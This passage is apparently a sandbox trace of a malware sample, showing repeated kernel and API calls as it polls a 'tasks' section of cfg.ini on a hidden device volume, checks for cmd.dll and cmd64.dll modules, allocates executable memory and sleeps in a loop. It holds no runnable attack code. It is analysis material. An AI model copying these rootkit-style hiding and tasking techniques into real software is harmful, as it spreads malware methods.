VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.804] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.804] IdePortDispatch () returned 0x103 [0116.804] KeWaitForMutexObject () returned 0x0 [0116.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.804] KeLeaveCriticalRegion () [0116.804] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.805] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.805] KeEnterCriticalRegion () [0116.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.805] KeLeaveCriticalRegion () [0116.805] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.805] KeEnterCriticalRegion () [0116.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.805] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.805] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80081eff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.805] KeLeaveCriticalRegion () [0116.805] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.805] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.805] KeEnterCriticalRegion () [0116.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.805] ExFreePoolWithTag (P=0xfffffa8003aae440, Tag=0x0) [0116.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.805] KeLeaveCriticalRegion () [0116.805] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.805] ReleaseMutex (hMutex=0xf0) returned 1 [0116.805] Sleep (dwMilliseconds=0x927c0) [0116.875] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0116.875] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.875] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0116.875] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.875] KeEnterCriticalRegion () [0116.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.875] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0116.875] IdePortDispatch () returned 0x103 [0116.875] KeWaitForMutexObject () returned 0x0 [0116.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.875] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.875] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.875] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.875] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.875] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28630 [0116.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.875] KeLeaveCriticalRegion () [0116.875] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.876] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.876] KeEnterCriticalRegion () [0116.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.876] KeLeaveCriticalRegion () [0116.876] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.876] KeEnterCriticalRegion () [0116.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.876] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0116.876] IdePortDispatch () returned 0x103 [0116.876] KeWaitForMutexObject () returned 0x0 [0116.876] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.876] KeLeaveCriticalRegion () [0116.876] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.876] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.876] KeEnterCriticalRegion () [0116.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.876] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1f000 [0116.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.876] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.876] IdePortDispatch () returned 0x103 [0116.876] KeWaitForMutexObject () returned 0x0 [0116.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.877] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.877] IdePortDispatch () returned 0x103 [0116.877] KeWaitForMutexObject () returned 0x0 [0116.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.877] KeLeaveCriticalRegion () [0116.877] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.877] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.877] KeEnterCriticalRegion () [0116.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.878] KeLeaveCriticalRegion () [0116.878] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.878] KeEnterCriticalRegion () [0116.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.878] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.878] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b286f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.878] KeLeaveCriticalRegion () [0116.878] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.878] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.878] KeEnterCriticalRegion () [0116.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.878] ExFreePoolWithTag (P=0xfffffa8003b28630, Tag=0x0) [0116.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.878] KeLeaveCriticalRegion () [0116.878] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.878] ReleaseMutex (hMutex=0xf0) returned 1 [0116.878] Sleep (dwMilliseconds=0x927c0) [0116.947] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0116.947] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.948] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0116.948] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.948] KeEnterCriticalRegion () [0116.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.948] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0116.948] IdePortDispatch () returned 0x103 [0116.948] KeWaitForMutexObject () returned 0x0 [0116.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.948] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.948] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.948] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.948] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.948] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7600 [0116.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.948] KeLeaveCriticalRegion () [0116.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.948] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.948] KeEnterCriticalRegion () [0116.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.948] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.948] KeLeaveCriticalRegion () [0116.948] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.948] KeEnterCriticalRegion () [0116.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b87f40 [0116.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.948] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0116.948] IdePortDispatch () returned 0x103 [0116.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.949] KeLeaveCriticalRegion () [0116.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.949] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.949] KeEnterCriticalRegion () [0116.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.949] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d05000 [0116.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.949] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.949] IdePortDispatch () returned 0x103 [0116.949] KeWaitForMutexObject () returned 0x0 [0116.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0116.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0116.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.949] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0116.949] IdePortDispatch () returned 0x103 [0116.949] KeWaitForMutexObject () returned 0x0 [0116.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.950] KeLeaveCriticalRegion () [0116.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.950] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.950] KeEnterCriticalRegion () [0116.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.950] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0116.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.950] KeLeaveCriticalRegion () [0116.950] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.950] KeEnterCriticalRegion () [0116.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.950] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0116.950] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c6590, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.950] KeLeaveCriticalRegion () [0116.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.951] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.951] KeEnterCriticalRegion () [0116.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.951] ExFreePoolWithTag (P=0xfffffa80039d7600, Tag=0x0) [0116.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.951] KeLeaveCriticalRegion () [0116.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0116.951] ReleaseMutex (hMutex=0xf0) returned 1 [0116.951] Sleep (dwMilliseconds=0x927c0) [0117.308] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.309] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.309] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.309] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.309] KeEnterCriticalRegion () [0117.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.309] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.309] IdePortDispatch () returned 0x103 [0117.314] KeWaitForMutexObject () returned 0x0 [0117.314] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.314] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.314] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.314] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.314] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.314] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28790 [0117.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.314] KeLeaveCriticalRegion () [0117.314] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.315] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.315] KeEnterCriticalRegion () [0117.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.315] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.315] KeLeaveCriticalRegion () [0117.315] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.315] KeEnterCriticalRegion () [0117.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.315] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.315] IdePortDispatch () returned 0x103 [0117.315] KeWaitForMutexObject () returned 0x0 [0117.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.315] KeLeaveCriticalRegion () [0117.315] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.315] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.315] KeEnterCriticalRegion () [0117.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7c000 [0117.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.315] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.315] IdePortDispatch () returned 0x103 [0117.315] KeWaitForMutexObject () returned 0x0 [0117.316] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.316] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.316] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.316] IdePortDispatch () returned 0x103 [0117.316] KeWaitForMutexObject () returned 0x0 [0117.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.316] KeLeaveCriticalRegion () [0117.316] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.317] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.317] KeEnterCriticalRegion () [0117.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.317] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.317] KeLeaveCriticalRegion () [0117.317] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.317] KeEnterCriticalRegion () [0117.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.317] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.317] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cfdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.317] KeLeaveCriticalRegion () [0117.317] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.317] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.317] KeEnterCriticalRegion () [0117.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.317] ExFreePoolWithTag (P=0xfffffa8003b28790, 